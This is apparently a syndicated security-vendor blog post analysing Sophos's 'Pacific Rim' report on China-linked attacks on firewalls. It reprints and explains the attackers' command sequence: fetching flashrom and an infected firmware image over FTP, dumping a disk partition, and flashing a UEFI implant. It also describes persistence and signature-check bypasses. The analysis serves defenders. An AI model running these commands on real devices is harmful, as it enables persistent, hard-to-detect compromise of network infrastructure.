Contributors to this post: Mickey Shkatov, Alex Bazhaniuk

So What Happened?

Last week, Sophos released a bombshell report on what they’re calling “Pacific Rim”—and no, we’re not talking about giant robots fighting sea monsters. Sophos chronicles a five-year ordeal involving nation-state threat actors targeting network appliances, particularly Sophos firewalls. The discovery has been documented in a series of six articles from Sophos:

1. Pacific Rim timeline: Information for defenders from a braid of interlocking attack campaigns
2. Pacific Rim: What’s it to you?
3. From the frontlines: Our CISO’s view of Pacific Rim
4. Pacific Rim: Learning to eat soup with a knife
5. Digital Detritus: The engine of Pacific Rim and a call to the industry for action
6. Pacific Rim: Inside the Counter-Offensive—The TTPs Used to Neutralize China-Based Threats

Sophos has been playing an intense game of cat and mouse with multiple China-based threat groups. Specifically APT31, APT41/Winnti, and our old friend Volt Typhoon. After extensively reviewing all the documentation published by Sophos, it appears that threat actors have been throwing everything but the kitchen sink at Sophos firewalls, including botnets, zero-days, custom malware, firmware backdoors, and UEFI implants. Sophos refers to implants as “UEFI bootkits.” However, bootkits refer to the modification of bootloaders, where implants are specific to UEFI modification (and UEFI modification is what is occurring according to the information released by Sophos). The UEFI implants, of course, caught our attention immediately. The threat actors were testing a UEFI implant on select targets. UEFI implants have been observed in the wild for some time (see our Firmware Attack Timeline), but this is the first time they have been observed on a firewall. We’ve done a preliminary analysis of what has been disclosed so far and conducted some of our own research. See the technical details section for more information.

Sophos traced much of the exploit development back to educational institutions in Sichuan, China. It looks like they’ve got themselves a facility that is churning out zero-days and specific zero-days that provide attackers access to firewall appliances:

“Beginning in early 2020 and continuing through much of 2022, the adversaries spent considerable effort and resources to engage in multiple campaigns to discover and then target publicly reachable network appliances.”

• Reference: Pacific Rim: Inside the Counter-Offensive—The TTPs Used to Neutralize China-Based Threats

Why Now?

The reasons? I’ve been outlining the reasons for some time. When I read the paragraph below, I was taken back to my 2010 Brucon presentation, which covered the same topics (Embedded system hacking and my plot to take over the world). Sophos, equipped with real-world evidence collected over a 5-year period, states the following:

“Unprivileged devices such as that videoconferencing gear are a favorite for adversaries in the modern era as they are often unmonitored, purpose-built, and overpowered. They do something simple like drive a display, yet they have the full computing power of a powerful workstation from only ten years ago. The excess power, plus lack of monitoring and available security software, are the perfect combination to remain hidden, gain persistence, and do research into other more valuable assets. The call is coming from inside the house…”

• Reference: Pacific Rim: What’s it to you?

Sophos is highlighting several issues in just this statement related to IoT devices and network appliances:

• Unmonitored – Due to several constraints in the hardware and software, it is difficult to gain visibility into what the device is doing (or not supposed to be doing).
• Purpose-built – Devices are built for a specific purpose, such as a firewall, so features that provide administrators with visibility, monitoring, and control are not part of the purpose of the devices. Also, while devices are marketed as purpose-built appliances, under the hood, they are composed of commodity hardware (Intel, AMD, x86, or ARM processors) and general-purpose operating systems such as Linux or BSD containing open-source software. This common “bill of materials” is associated with a complex supply chain and risk from 3rd party components. 
• Overpowered – This is the first time I’ve heard of this particular aspect of IoT and infrastructure devices. In 2010, I would not have called these devices overpowered. However, fast forward to today, and the devices are exceptionally faster (and cheaper to manufacture) than ever before, making them even juicier targets for attackers because they can leverage them for even more tasks.
• Lack of security software – While I have seen a few IoT/infrastructure devices running endpoint protection software, it is very rare. Typically not only is there a lack of security software, features such as memory protection are also missing.
• Inside the house – The location of these devices on enterprise networks is also convenient for attackers as they will often be both exposed to the Internet and connected to the internal network. This allows the attackers to use them as a C2 server as it can be more difficult to detect malicious network behavior if the device is already supposed to be maintaining connections across the Internet.

The attackers started off noisy, trying to build what Sophos calls “operational relay boxes” or ORBs. I believe we can differentiate this term from C2 (C&C, or Command and Control) as an ORB in this context allows attackers to transmit and route different types of data, not just the botnet-related command and control commands. By routing attacks through systems such as firewalls, they were able to conceal the true origin of their attacks. Again, traffic can be more easily concealed on Internet-facing systems such as firewalls, and the firewalls themselves are difficult to analyze as part of a digital forensics/incident response process.

What Is the Impact?

Sophos didn’t just sit back and take it, though. They went counteroffensive, improving their telemetry, detection, and response capabilities. They even started treating their customers’ firewalls like an extension of Sophos, monitoring the whole fleet for signs of compromise.

But here’s the kicker—many customers weren’t applying patches and updates quickly enough. Sophos CEO Joe Levy is calling for a change in how we handle network security device maintenance. He says that automatic updates and hotfixes need to become non-optional for firewalls. It’s a spicy take, but in this threat landscape, he might be onto something.

The big takeaway is that all devices are fair game and no one’s too small to be a target anymore. These nation-state actors aren’t just after large companies and government organizations—they’re compromising anything they can to build obfuscation networks and cause general chaos. The techniques were not all unique to nation-state attackers either. The UEFI implant was based on code leaked by Hacking Team. While Hacking Team was developing and selling offensive tools to governments and law enforcement agencies worldwide, the Pacific Rim attackers modified the VectorEDK code to operationalize it on the targets in this campaign. I believe we tend to incorrectly categorize UEFI attacks as only used by nation-states and exclusively used to target the public sector. We’ve learned so far from Pacific Rim that we’re operating under misconceptions. The UEFI implant code that was used in this campaign was posted online 10 years ago, providing attackers of all origins and motives ample time to operationalize. The target organizations were not all military and government. If you have a vulnerable system, like the Sophos firewall, you are a target, and locally stored credentials from your environment were collected for good measure. 

In-memory malware and UEFI implants have been available for some time, so why haven’t attackers been observed more consistently? This is due, in part, to poor visibility into low-level components, including hardware and firmware, that come pre-built into your systems. Attackers may be leveraging this attack surface, but we’re not catching it (as evidenced by the 5-year timeline). We can also assume that since attacks on such devices are more prevalent than what we detect, they are likely targeting more than just Sophos devices. One could also argue attackers haven’t had to because other controls are not in place or configured correctly. One article states that blue teams have “home-field advantage” in this situation:

“ A world in which attackers are compelled to find ways to dwell in memory and use UEFI bootkits for persistence is a world in which most defenders would, again, say they had a home-field advantage.”

• Reference: From the frontlines: Our CISO’s view of Pacific Rim

Defenders always have the home-field advantage by default, as attackers are playing on their networks and systems. However, UEFI attacks can be leveraged to level the playing field, allowing threat actors to hide from defenders more easily, bypass security mechanisms (such as Secure Boot), and persist across system rebuilds. The attack timeline and the persistence potentially achieved by threat actors may have been a factor in the May 2023 incidents reported by Barracuda. While no concrete evidence has been published, an investigation was done by Google’s Mandiant division; it was attributed to Chinese-based threat actors, and the remediation recommended in this case was for customers to replace physical hardware. UEFI implants are likely the suspect in the Barracuda case. If anything, UEFI attacks give threat actors the ability to create their own playing field and play ball without anyone noticing.

Firmware Backdoors: Bypassing Integrity Checks

Moving up the stack, Sophos observed another activity during this campaign: firmware backdoor implants. While full technical details have not yet been released, Sophos states the following:

“While the remote shell was unremarkable, X-Ops identified a persistence technique not previously observed. Using the open-source tool plthook, the attackers inserted a hook into the firmware upgrade process (T1037.002). The hook wrote the backdoor into the temporary partition used for the new firmware before the device rebooted, allowing it to survive firmware upgrades (though the device could be recovered by flashing the firmware using an external USB drive).”

• Reference: Pacific Rim timeline: Information for defenders from a braid of interlocking attack campaigns

What’s interesting about the technique described above is the attackers were able to make sure their malicious software survived firmware upgrades. The technique uses an open-source tool (plthook) that essentially allows threat actors to select a function call, spoof said function call, and execute code of the attacker’s choosing. The attackers likely “hooked” the upgrade function to call code that essentially states, “Every time there is a firmware update, put these programs in a temporary partition, then put it back into the system during the update process. Refer to some of our previous research to see how attackers have accomplished this in the past (Pwned Balancers: Commandeering F5 and Citrix for Persistent Access & C2).

Another interesting attack vector was how the attackers were able to bypass firmware integrity checks:

“To bypass integrity checks, the attacker also swapped out the binaries that verify the cryptographic signature in the firmware (T1027.001).“

• Reference: Pacific Rim timeline: Information for defenders from a braid of interlocking attack campaigns

Modifying cryptographically signed firmware can be challenging, but by design, it is intended to prevent tampering with the firmware components. Rather than attempting to find a hash collision or obtain the private key(s), the attackers opted for something simpler. They swapped out the binaries that performed the cryptographic checks. In this attack scenario, the firmware image can change, but since the programs intended to verify the signature were modified, the firmware always passed the checks (perhaps the binaries just always returned “signature verified”). Secure Boot has been circumvented in similar ways, e.g., if an attacker can exploit a vulnerability or configuration weakness to gain access to a system early enough in the boot process, they would simply modify UEFI to always return “True” when programs are being verified. 

The UEFI Implant: Technical Analysis

One of the areas we spent a significant amount of time analyzing was the commands the attackers ran to deploy the UEFI implant (Commands were disclosed in the post: Pacific Rim timeline: Information for defenders from a braid of interlocking attack campaigns). My colleague on our threat research team, Mickey Shkatov, put together a short demo of the UEFI implant and verified that it does work on a Sophos XG series firewall:

To get a better understanding of how the attack may have played out in the Pacific Rim attacks, let’s look at each command individually: 

ftpget -u admin -p password 10.10.10[.]110 ./flashrom ./flashrom

This command downloads a copy of the Flashrom utility and saves it to a local file of the same name. Flashrom is a utility that can communicate with various types of flash storage using various communication interfaces. For example, it can communicate with the SPI flash chip that stores the BIOS/UEFI.

ftpget -u admin -p password 10.10.10[.]110 xg210-remove-dxe-guard-bds-infected.bin xg210-remove-dxe-guard-bds-infected.bin

This command downloads a firmware file. Based on the filename, we can infer the following:

• The firmware is specific to a Sophos XG 210 firewall appliance
• This firmware file likely intends to disable DXE guard as evidenced by “remove-dxe-guard” in the filename
• The “bds” in the filename infers that the malicious firmware may be altering the Boot Device Selection phase in UEFI
• From this, we can also infer this is an Intel platform

chmod 777 flashrom { dd bs=392446464 skip=1 count=1; cat; } < /dev/sda > ./ext4_1_19.img

• Changes the permissions on the flashrom binary to be readable and writable by anyone on the system (ironically, most will identify this as insecure file permissions)
• Starts reading the /dev/sda block device at the  374MB mark and then reads the next 374MB of data from /dev/sda
  • If one were to speculate, we may assume that there are two boot partitions, each of 374MB on the system disk, and the attacker only cares to back up the second one
• Saves it to the file “ex4_1_19.img”

./flashrom -p internal -c “Opaque flash chip”

• The above command probes the flash chip. The “-p” parameter specifies that the “internal programmer” will be used, i.e., the internal SPI controller. The “-c” option specifies the type of flash chip, and “Opaque flash chip” is a generic identifier used when the precise flash chip type is not known.

./flashrom -p internal -c “Opaque flash chip” -r xg210-read.bin

• Read the contents of the flash chip into a file called “xg210-read.bin”

./flashrom -p internal -c “Opaque flash chip” -w xg210-remove-dxe-guard.bin

• This command writes the file xg210-remove-dxe-guard.bin to the flash chip
  • Those following along at home notice that the file written to the flash chip has a different name than the file downloaded previously. We are not sure if this is a different file or is one of the files downloaded and the commands to change the name just have yet to be disclosed. The name of the file, specifically “remove-dxe-guard” could be referencing an old vulnerability to disable Boot Guard.

If we presume that the attackers were targeting a Sophos XG 210 firewall, we can do some testing on our own to validate some of the findings. However, the “xg210” is merely a string contained in a filename, not strong evidence that this device was targeted by attackers as filenames are just that, arbitrary names for files. Running under the assumption that the target devices were, at the very least, XG-series devices, we can start to find artifacts to support our theory. 

Several Sophos XG-series firewalls are available for sale on Ebay and forum postings and other outlets contain pictures of the internals. For example, we’ve confirmed that XG-series firewalls are Intel platforms, as evidenced by a screenshot of pfSense running on the appliance from this Ebay listing:

So far, this information validates some of our findings as this platform is Intel-based, would support software and features such as UEFI, Intel Boot Guard, UEFI Secure Boot, and contains SPI flash chips that can be interfaced with using the commands shown above. While safeguards exist to prevent attackers from deploying malicious UEFI code, we must understand a little about them before theorizing if attacks would be successful in the wild:

Intel Boot Guard – At a high level, Intel Boot Guard was developed to protect the boot process (before Secure Boot begins validating components), including preventing unauthorized modifications to UEFI (For a slightly more in-depth explanation, see the post The Keys to the Kingdom and the Intel Boot Process). The commands disclosed by Sophos that are detailed previously in this article showed an attacker using flashrom to modify UEFI, which should be prevented by Boot Guard. Also, if attackers were able to modify the SPI flash where BIOS/UEFI is stored there could also be missing SPI flash protections (See Protecting System Firmware Storage and Firmware Security Realizations – Part 3 – SPI Write Protections for more technical details). So, how could this attack be successful? Some possible scenarios include:

1. Boot Guard was not enabled on the device – Our testing of XG-210 models has revealed that on some systems Intel Boot Guard has not been configured or enabled. Note that Boot Guard is not a feature that can be enabled or configured by the user. Boot Guard maintains a root of trust that begins with Intel and is then passed to the OEM and requires cryptographic keys and fusing hardware chips. 

2. The Attackers used a Boot Guard bypass exploit – In 2017 security researchers documented Intel Boot Guard bypass at Black Hat USA 2017 and later in the year in this article Bypassing Intel Boot Guard. There is superficial evidence that the Pacific Rim attackers were aware of this research and may have implemented it. In the filenames from the attacker commands there is a string “dxe-guard”, which may be a reference to “BootGuardDxe”, the DXE module responsible for some of the Boot Guard functionality.

3. The Attackers stole the OEM private key used for Boot Guard – While we did not discover any evidence of this particular attack, it is listed here as one of the other options for getting around Boot Guard. We’ve discussed this particular attack vector in the context of the MSI leak from 2023 (Intel BootGuard private keys leaked following MSI hack). 

Secure Boot – At first glance I was curious if Secure Boot was enabled on the Sophos firewalls and if/how attackers were able to bypass Secure Boot. A couple of points after further review:

• Secure Boot can be enabled or disabled by the user. Sophos likely ships appliances with Secure Boot enabled and includes support for this in the firmware and software images. However, users can, of course, disable this feature.
• An attacker able to bypass Intel Boot Guard in some way could disable or tamper with the Secure Boot setting as UEFI implants have control of the system prior to Secure Boot.

Recommendations 

While much has been disclosed about the Pacific Rim attacks and threat actors, there are still some missing details (likely due to ongoing investigations). We will continue to conduct our own analysis and review any new information that is posted regarding this campaign. In the meantime, defenders can do the following to be more resilient:

• Ensure Intel Boot Guard and Secure Boot are enabled on systems that support these technologies
• Keep up-to-date with firmware and software updates (e.g., BIOS/UEFI and firmware updates from Sophos)
• Monitor all of your systems, even firewall appliances, for malicious activity

Eclypsium customers can utilize our platform to detect UEFI implants and/or bootkits.

Conclusion

Pacific Rim is actively targeting networking applications with UEFI-level implants. Networking devices are essential for global communication, yet their supply chains are fraught with complexities and vulnerabilities. The production of these devices involves numerous players, including component manufacturers, software developers, and system integrators, creating a convoluted ecosystem.

Transparency and regular security audits are essential for device manufacturers. Adopting secure development practices and verifying component integrity can also strengthen the supply chain. Implementing and enforcing robust security standards across our industry is crucial. Collaboration among manufacturers, developers, regulators, and consumers is vital to effectively addressing these challenges. Shedding light on these hidden complexities allows us to take steps toward a more secure and trustworthy networking infrastructure. 

The post Pacific Rim: Chronicling a 5-year Hacking Escapade appeared first on Eclypsium | Supply Chain Security for the Modern Enterprise.

*** This is a Security Bloggers Network syndicated blog from Eclypsium | Supply Chain Security for the Modern Enterprise authored by Paul Asadoorian. Read the original post at: https://eclypsium.com/blog/pacific-rim-chronicling-a-5-year-hacking-escapade/